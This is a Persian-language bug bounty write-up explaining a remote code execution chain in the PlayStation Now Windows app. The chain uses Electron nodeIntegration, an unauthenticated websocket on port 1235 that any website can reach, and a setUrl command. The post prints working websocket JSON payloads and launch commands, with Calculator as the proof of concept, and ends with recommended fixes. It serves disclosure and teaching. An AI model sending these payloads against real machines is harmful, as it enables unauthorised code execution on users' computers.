این اولین بانتیِ PlayStation من و اولین متن فارسیِ من درباره امنیت است. متون فارسی در سایت خودم به دلیل راست به چپ بودن درست نمایش داده نمیشدند، این شد که به ویرگول روی آوردم. دستشون درد نکنه که اکانت من را تایید کردند.
نوشتن در مورد امنیت برای من به زبان فارسی سختِ. "خارجی" نشدم (البته فامیل نظرشان متفاوت است) ولی امنیت و اصطلاحاتش را به زبان انگلیسی یاد گرفته ام و زبانِ کار روزمره ام هست. در مقابل مثلاً در زمینه "کلیله و دمنه" به انگلیسی نمیتوانم صحبت کنم.
این گزارش ترکیبی از سه باگ منطقی مختلف است. هر کدام از این باگ ها در یک محدوده تحقیقاتی مختلف قرار دارند. برای یادگرفتن این باگ ها شاید لازم باشد که موارد زیر را بدانید. در خیلی از موارد توضیحات مفصلی ندادم چون نمیشود همه چیز را در گزارش توضیح داد. متاسفانه تمام این لینک ها به زبان انگلیسی هستند (انگلیسی آش کشکِ خاله است، آخرش باید یاد بگیرید?).
برنامه PlayStation Now نگارش 11.0.2 دارای آسیب پذیری "اجرای کد از راه دور" یا Remote Code Execution یا RCE است. هر وب سایتی که در کامپیوتری که برنامه را اجرا میکند باز شود میتواند از طریق یک websocket روی آن ماشین کد اجرا کند.
با سر هم کردن این سه باگ میتوانیم به RCE برسیم.
برنامه PlayStation Now یک برنامه برای استریم بازیهای پلی استیشن روی ویندوز است (البته این برنامه روی کنسول PS4 هم وجود دارد اما اینجا در مورد آن صحبت نمیکنیم). این برنامه دو بخش اصلی دارد. QAS و AGL.
این برنامه اصلی بر پایه فریمورک Qt5 (کیوت یا cute تلفظ میشود). اسم اصلی این برنامه psnowlauncher.exe است. بعد از اجرا دو کار انجام میدهد:
برنامه AGL بر پایه فریمورک Electron است. این برنامه توسط QAS و به صورت زیر با یک سوییچ url اجرا میشود.
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/
بعد از اجرای برنامه، وب سایتی که با سوییچ url مشخص شده در برنامه باز میشود.
فریمورک Electron
هم Qt و هم Electron از فریمورک های پرطرفدار ساخت برنامه های دسکتاپ هستند. فریمورک الکترون بر پایه مرورگر متن باز Chromium ساخته شده است. مرورگرهای مشهوری مانند Google Chrome, Microsoft Edge و Brave هم از Chromium استفاده میکنند. در واقع هر صفحه یک برنامه الکترون یک تب مرورگر است که در آن یک وب سایت نشان داده میشود.
یکی از اصلی ترین نکات هنگام بررسی یک برنامه الکترون بررسی فیلد nodeIntegration است. در صورت فعال بودن (به صورت پیش فرض غیرفعال است) کد جاوااسکریپت داخل مرورگر میتواند از کتابخانههای Node استفاده کند. من از دو روش برای چک کردن این فیلد استفاده میکنم:
برای اطلاعات بیشتر به این رفرنس که در قسمت مقدمات معرفی کردم مراجعه کنید.
برای تست این فیلد من از روش دوم استفاده کردم چون خیلی راحتتر بود. یک صفحه با کد زیر را در یک s3 bucket (سطل؟) ذخیره کردم. این کد ماشین حساب ویندوز را از طریق ماژول child_process اجرا میکند. کدباکس ویرگول تگ های script را فیلتر میکند، برای همین از عکس استفاده کردهام:
سپس برنامه را دستی با سویچ url اجرا کردم.
"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://[redacted].s3.us-east-1.amazonaws.com/node.html
ماشین حساب ویندوز اجرا شد و من فهمیدم که مقدار آن فیلد سِت شده است.
تا اینجا کار خارق العاده ای انجام ندادم، روی کامپیوتر خودم دستی کد اجرا کردهام. به قول این بلاگ، هنوز در سمت دیگر "دریچه" (یعنی روی کامپیوتر خودم) هستم.
همانطور که بالا دیدیم برنامه AGL روی 1235 یک سرور websocket میسازد. قدم بعدی پراکسی کردن برنامه توسط Burp بود. برنامه های بر پایه مرورگر Chromium معمولاً از تنظیمات پراکسی ویندوز استفاده میکنند.
پراکسی کردن ترافیک برنامه های دسکتاپ
پراکسی این بحث مفصلی است و من تابحال 18 بلاگ درباره آن نوشتهام و هنوز جا برای تحقیق زیاد دارد:
بعد از پراکسی کردن این برنامه ها ترافیک زیادی در Burp دیدم. یکی از مشکلات پراکسی کردن با تنظیمات ویندوز این است که بسیاری از برنامه های دیگر و سرویس های ویندوز نیز ترافیک خود را به پراکسی میفرستند. برای این کار میتوانید دامنههای بیربط را به TLS Passthrough اضافه کنید تا Burp آنها را پراکسی نکند. برای اطلاعات بیشتر در این زمینه بلاگ زیر را بخوانید:
ترافیک برنامهها را توسط user-Agent شان تشخیص دادم. هر دو برنامه کلمه gkApollo را در user-agent داشتند. پس بقیه ترافیک به درد من نمیخورد. برای تشخیص ترافیک این دو برنامه از هم به کلمات دیگر در user-agent دقت کردم:
توسط یک افزونه به نام Request Highlighter در Burp، ترافیک این دو برنامه را زرد و آبی کردم که تشخیص آنها از هم راحتتر باشد.
پروتکل پیام های websocket
پس از پراکسی کردن در Burp ترافیک سرور websocket را میبینیم. پیامهای پروتکل این سرور بسیار ساده بودند و به نظر میرسید توسط JSON.stringify جاوااسکریپت ایجاد شدهاند. پیام ها به این شکل بودند:
{ "command": "isMicConnected", "params": {}, "source": "AGL", "target": "QAS" }
برای دیدن اینکه چه دستورهایی در برنامه وجود دارند دو کار کردم:
دو دستور مهم هستند: setUrl و setUrlDefaultBrowser.
دستور setUrl به برنامه میگوید که کدام وب سایت را باز کند. پیام این دستور به این شکل است:
{ "command": "setUrl", "params": { "url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/" }, "source": "AGL", "target": "QAS" }
دستور setUrlDefaultBrowser یک فایل را به کمک سیستم عامل باز میکند. مثلاَ اگر ورودی آن یک آدرس وب سایت باشد، آن را در مرورگر باز میکند و یک فایل ورد در برنامه آفیس (اگر نصب شده باشد) باز میشود. چند روز بعد از گزارش باگ به من به یاد یکی از باگ های Tavis Ormandy افتادم که با استفاده از این دستور به RCE دست یافته بود.
اگر یک فایل اجرایی را با این دستور باز کنیم، ویندوز خود آن فایل را اجرا میکند. پس دستور زیر ماشین حساب ویندوز را اجرا میکند.
{ "command": "setUrl", "params": { "url": "file:///c:/windows/system32/calc.exe" }, "source": "AGL", "target": "QAS" }
با استفاده از این دستور دیگر نیاز به nodeIntegration هم نداریم. اما این دستور یک محدودیت بزرگ دارد. فقط میتوانیم فایل اجرا کنیم و نمیتوانیم به فایل اجرایی پارامتر و یا سوییچ بفرستیم.
در اینجا برنامه AGL (الکترون) به QAS میگوید که یک وب سایت را باز کند. در ابتدا من به مبدا و مقصد دقت نکردم و بیخیال باگ شدم چون بازکردن سایت در QAS فایدهای برای من نداشت. اما چند ساعت بعد وقتی کار دیگری انجام میدادم یادم آمد که چرا مقصد را AGL (برنامه الکترون) نگذارم؟ با فرستادن پیام پایین وب سایتی که در بخش اول ساخته بودم (ماشین حساب ویندوز را اجرا میکرد) در برنامه الکترون باز کردم و ماشین حساب ویندوز اجرا شد.
{ "command": "setUrl", "params": { "url": "https://example.net" }, "source": "AGL", "target": "QAS" }
بعد از این کد یک برنامه چت بر پایه websocket را دستکاری کردم و در یک سطل (؟) s3 دیگری قرار دادم. بعد از باز کردن این وب سایت در مرورگر روی کامپیوتری که برنامه psnow در حال اجرا بود میتوانستم با سرور websocket برنامه صحبت کنم و به آن دستور بفرستم.
امنیت websocket
اولین مرحله در ایجاد ارتباط با یک سرور websocket، فرستادن یک ریکوئست HTTP با تعدادی header خاص است. در حالت عادی Same-Origin Policy یا SOP مرورگر به اسکریپت های یک اریجین اجازه نمیدهد تا با اریجین دیگر ارتباط برقرار کنند (بحث SOP هم مفصل است ولی حتما در مورد آن بخوانید چون یکی از مهمترین بخشهای امنیت مرورگر و وب است). websocket ها شامل SOP نمیشوند. یعنی هر وب سایت میتواند با هر سرور websocket ارتباط برقرار کند.
تا اینجا سه باگ را بررسی کردیم و فهمیدیم که اگر برنامه PlayStation Now را اجرا کنیم. وب سایتی که در مرورگر کامپیوتر ما باز شده است میتواند روی ماشین ما کد اجرا کند. این اصلاً خوب نیست.
یکی از مهمترین وظایف من به عنوان یک مهندس امنیت نرم افزار، حل مشکلات امنیتی است.
راحتترین راه حل این مشکل چک کردن هِدِر origin در اولین بخش ایجاد ارتباط websocket است.
این هدر فقط توسط مرورگر میتواند اضافه شود (به این هدرها Forbidden Header Name گفته میشود). اولین ریکوئست ایجاد یک websocket شکلی مشابه زیر دارد:
GET /chat HTTP/1.1 Host: example.com:8000 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== - مقدار این هدر معمولاً مهم نیست Sec-WebSocket-Version: 13 Origin: whatever.com
چون نمیتوان به مکانیزم SOP برای فیلتر کردن درخواست های websocket اتکا کرد باید به صورت دستی هدر origin را بررسی کنیم و مواردی که نمیخواهیم (مثلاً هر چه که از playstation.com نیست) را رد کنیم.
دومین مشکل این است که سرور روی همه IP های دستگاه در حال شنیدن است. به عبارت دیگر روی 0.0.0.0 بایند شده. این یعنی هر کسی که بتواند به پورت 1235 دستگاه از خارج دسترسی داشته باشد میتواند به آن وصل شود. در دنیای واقعی این مشکل آنقدر ترسناک نیست زیرا اکثر مودم و روترها تنها اجازه دسترسی به پورت را در شبکه داخلی میدهند.
برای حل این مشکل باید سرور روی localhost بایند شود.
متاسفانه در این باگ مرزهای علم را جابجا نکردم و دانش جدیدی تولید نشد. خودم هم چیز جدیدی یاد نگرفتم. اما امیدوارم خواننده چند نکته یادگرفته باشد. اگر بازخورد یا پیشنهادی دارید، پیدا کردن من در اینترنت بسیار راحت است.